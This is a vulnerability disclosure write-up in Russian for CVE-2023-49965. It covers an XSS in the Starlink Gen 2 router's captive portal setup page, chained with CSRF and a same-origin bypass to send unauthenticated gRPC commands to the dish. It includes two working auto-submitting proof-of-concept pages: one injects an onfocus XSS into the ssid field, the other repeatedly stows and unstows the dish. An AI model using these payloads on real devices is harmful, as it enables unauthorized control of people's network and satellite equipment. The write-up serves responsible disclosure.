
CVE-2023-49965 | SpaceX / Starlink Router Gen 2 XSS
Вы можете посмотреть корейскую версию поста здесь :
https://hackintoanetwork.com/blog/2023-starlink-router-gen2-xss-kor
Уязвимость Cross-Site Scripting (XSS) на начальной странице captive portal роутера второго поколения может позволить злоумышленнику получить контроль над router и Dishy.

Уязвимость вызвана недостаточной фильтрацией входных значений параметров ssid и password на начальной странице настройки роутера (http://192.168.1.1/setup).
<html>
<body>
<h1>Proof of Concept</h1>
<form id="PoC" method="POST" action="http://192.168.1.1/setup">
<input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'>
<!-- <input type="hidden" name="password" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
</form>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("PoC").submit();
});
</script>
</body>
<html>
Эту уязвимость Cross-Site Scripting (XSS) можно использовать вместе с атакой Cross-Site Request Forgery (CSRF), как показано в приведённом выше доказательстве концепции.
Обычно страница captive portal должна быть активна только на router's internal address, 192.168.1.1, но в старых роутерах была ошибка, из-за которой страница captive portal была неожиданно доступна с Dishy's internal address, 192.168.100.1.
http://192.168.1.1/setup → Страница captive portal отображается корректно.

http://192.168.100.1/setup → Страница captive portal также отображается по этому адресу.

(В обычных условиях доступ к странице captive portal не должен быть возможен с внутреннего адреса Dishy, 192.168.100.1.)
Использование такой ошибки вместе с уязвимостью Cross-Site Scripting (XSS) позволяет обойти Same-Origin Policy (SOP) браузера, что даёт контроль как над роутером, так и над Dishy.
Можно подтвердить, что та же уязвимость Cross-Site Scripting (XSS) возникает и по адресу http://192.168.100.1/setup.
Теперь посмотрим, как я могу использовать эти ошибки для получения контроля над Router и Dishy.

Когда команда Stow отправляется из административного интерфейса, следующий HTTP-запрос передаётся на Dishy
(Примечание: команда Stow позволяет сложить антенну Dishy для перемещения или хранения.)
POST /SpaceX.API.Device.Device/Handle HTTP/1.1
Host: 192.168.100.1:9201
Content-Length: 8
x-grpc-web: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
content-type: application/grpc-web+proto
Accept: */*
Origin: http://dishy.starlink.com
Referer: http://dishy.starlink.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
�}
Заголовок этого запроса содержит несколько важных фрагментов информации.
x-grpc-web: 1
Это указывает на использование протокола gRPC-Web.
(gRPC-Web — это протокол, который позволяет веб-клиентам выполнять gRPC-вызовы к серверу.)
content-type: application/grpc-web+proto
Это означает, что передаваемые данные используют протокол gRPC и закодированы в формате protobuf.
Тело запроса

Тело запроса Dishy Stow (Hex)
\x00\x00\x00\x00\x03\xef\xbf\xbd\x7d\x00
Тело запроса содержит данные в формате grpc-web+proto, которые, вероятно, содержат детали команды Stow.
Объединив эту информацию, можно сказать, что когда пользователь отправляет команду Stow через административный интерфейс, команда передаётся на Dishy через gRPC, что приводит Dishy в портативное состояние.
Однако если посмотреть на запрос, можно заметить, что для отправляющего его пользователя не выполняется аутентификация.
Это означает, что кто-то, кроме администратора, может отправить такой же запрос и получить контроль над Dishy без авторизации. Однако эта уязвимость требует от злоумышленника physical access к local network, что ограничивает масштаб атаки по сравнению с атаками, которые могут выполняться удалённо.
Если так, вы можете подумать, что можно попытаться выполнить атаку Cross-Site Request Forgery (CSRF) с помощью полезной нагрузки, отправляющей такой же запрос.
Хотя такой сценарий возможен, Same-Origin Policy (SOP) браузера ограничивает эту атаку.
gRPC требует определённый заголовок content-type под названием application/grpc-web+proto.
Однако Same-Origin Policy (SOP) заставляет браузеры удалять этот заголовок при отправке запросов из других источников.
Это делает невозможной отправку gRPC-запросов к Dishy извне в обычных условиях.
Обычно Same-Origin Policy (SOP) ограничивает веб-браузеры в выполнении запросов из разных источников.
Однако с помощью уязвимости Cross-Site Scripting (XSS) злоумышленник может выполнить скрипт в веб-браузере жертвы.
Скрипты, внедрённые злоумышленником с помощью уязвимости Cross-Site Scripting (XSS), считаются выполненными из того же источника (то есть с веб-сайта, на котором в данный момент находится жертва).
Из-за этого Same-Origin Policy (SOP) распознаёт запросы, создаваемые такими скриптами, как исходящие из того же источника, и поэтому ограничения Same-Origin Policy (SOP) в данном случае не применяются.
Поэтому при атаке Cross-Site Request Forgery (CSRF) с использованием уязвимости Cross-Site Scripting (XSS), требующей определённого заголовка content-type, как в случае с gRPC-запросом, поскольку скрипт атаки выполняется внутри браузера жертвы, запрос распознаётся как легитимный и отправляется с этим определённым заголовком content-type.
Например, связывая ошибку в 192.168.100.1 с уязвимостью Cross-Site Scripting (XSS), злоумышленник может отправить вредоносный скрипт, который через браузер пользователя отправит grpc-запрос для управления Router или Dishy. (Злоумышленник может отправлять различные grpc-запросы, включая команды Stow и Unstow для Dishy).
Таким образом, объединяя уязвимость Cross-Site Scripting (XSS) и упомянутый выше bug, можно создать полезную нагрузку, которая отправляет Stow gRPC-запрос к Dishy: (В результате злоумышленник может удалённо получить контроль над router или Dishy. Например, он может отправлять grpc-команды для изменения router settings или управления функциональностью Dishy.)
<html>
<body>
<h1>Dishy Stow and Unstow</h1>
<form id="PoC" method="POST" action="http://192.168.100.1/setup">
<!-- <input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
<input type="hidden" name="password" value='"><script>for(let i=0;i<100;i++){setTimeout(()=>{var xhr=new XMLHttpRequest();xhr.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr.setRequestHeader("x-grpc-web","1");xhr.setRequestHeader("Content-Type","application/grpc-web+proto");xhr.onreadystatechange=()=>{if(xhr.readyState==4&&xhr.status==200){console.log(xhr.responseText);}};xhr.send(new Uint8Array([0,0,0,0,3,146,125,0]).buffer);setTimeout(()=>{var xhr2=new XMLHttpRequest();xhr2.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr2.setRequestHeader("x-grpc-web","1");xhr2.setRequestHeader("Content-Type","application/grpc-web+proto");xhr2.onreadystatechange=()=>{if(xhr2.readyState==4&&xhr2.status==200){console.log(xhr2.responseText);}};xhr2.send(new Uint8Array([0,0,0,0,5,146,125,2,8,1]).buffer);},1000);},i*2000);}</script><input type="hidden'/>
</form>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("PoC").submit();
});
</script>
</body>
<html>
$500 USD )2023.48.0 и выше)